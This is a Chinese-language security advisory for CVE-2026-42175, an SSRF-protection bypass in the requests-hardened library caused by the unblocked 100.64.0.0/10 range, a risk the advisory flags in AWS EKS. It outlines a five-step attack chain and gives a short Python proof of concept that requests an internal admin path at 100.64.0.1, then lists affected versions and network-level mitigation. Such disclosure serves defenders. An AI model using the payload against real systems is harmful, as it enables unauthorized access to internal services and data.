IPBUF安全漏洞报告
English
CVE-2026-42175 CVSS 6.5 中危

CVE-2026-42175 requests-hardened SSRF防护绕过漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-42175
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
requests-hardened

相关标签

SSRFrequests-hardenedAWS EKS内网绕过CVE-2026-42175

漏洞概述

requests-hardened库在特定版本前存在SSRF防护绕过漏洞。由于未能正确过滤RFC 6598共享地址空间(100.64.0.0/10)内的IP地址,攻击者可利用此漏洞访问内部服务。该问题在AWS EKS等环境中尤为严重,因为该网段常被用作默认Pod CIDR,导致部署在受影响网段的内部网络面临SSRF攻击风险。

技术细节

该漏洞源于requests-hardened库在实现SSRF防护机制时的逻辑缺陷。虽然库设计用于阻止对常见内网IP(如127.0.0.1、192.168.x.x)的请求,但其黑名单未包含RFC 6598定义的运营商级NAT(CGNAT)共享地址空间(100.64.0.0/10)。攻击者若能控制请求URL,可构造指向100.64.0.0/10网段的恶意链接。在AWS EKS等云环境中,该网段常作为Pod的默认CIDR,攻击者借此可探测或攻击集群内部服务,实现SSRF绕过并获取敏感信息。该漏洞利用无需认证且无用户交互,利用门槛较低。

攻击链分析

STEP 1
1. 信息收集
识别目标应用是否使用了requests-hardened库,并确定是否处于AWS EKS等使用100.64.0.0/10网段的环境。
STEP 2
2. 构造Payload
攻击者构造指向100.64.0.0/10网段内部IP(如100.64.0.1)的恶意URL。
STEP 3
3. 发送请求
通过应用程序的输入点提交恶意URL,触发应用程序发起HTTP请求。
STEP 4
4. 绕过防护
requests-hardened库未能识别该IP为内网地址,允许请求通过。
STEP 5
5. 达成目的
应用程序成功访问内部服务,攻击者获取敏感数据或进一步利用内部接口。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests_hardened # Vulnerability: SSRF bypass via RFC 6598 Shared Address Space # The library fails to block IPs in the 100.64.0.0/10 range. target_ip = "100.64.0.1" # Example IP in the vulnerable range malicious_url = f"http://{target_ip}/admin/config" try: # In vulnerable versions, this SSRF request succeeds response = requests_hardened.get(malicious_url, timeout=5) if response.status_code == 200: print(f"[+] SSRF Successful! Accessed internal service at {target_ip}") print(f"[+] Response: {response.text[:100]}") else: print(f"[-] Request returned status code: {response.status_code}") except Exception as e: print(f"[-] Exploit failed or connection blocked: {e}")

影响范围

requests-hardened < v1.2.1

防御指南

临时缓解措施
在无法立即升级的情况下,建议在网络基础设施层面(如AWS Security Groups或NACL)阻断对100.64.0.0/10网段的非必要出站连接,以缓解SSRF风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表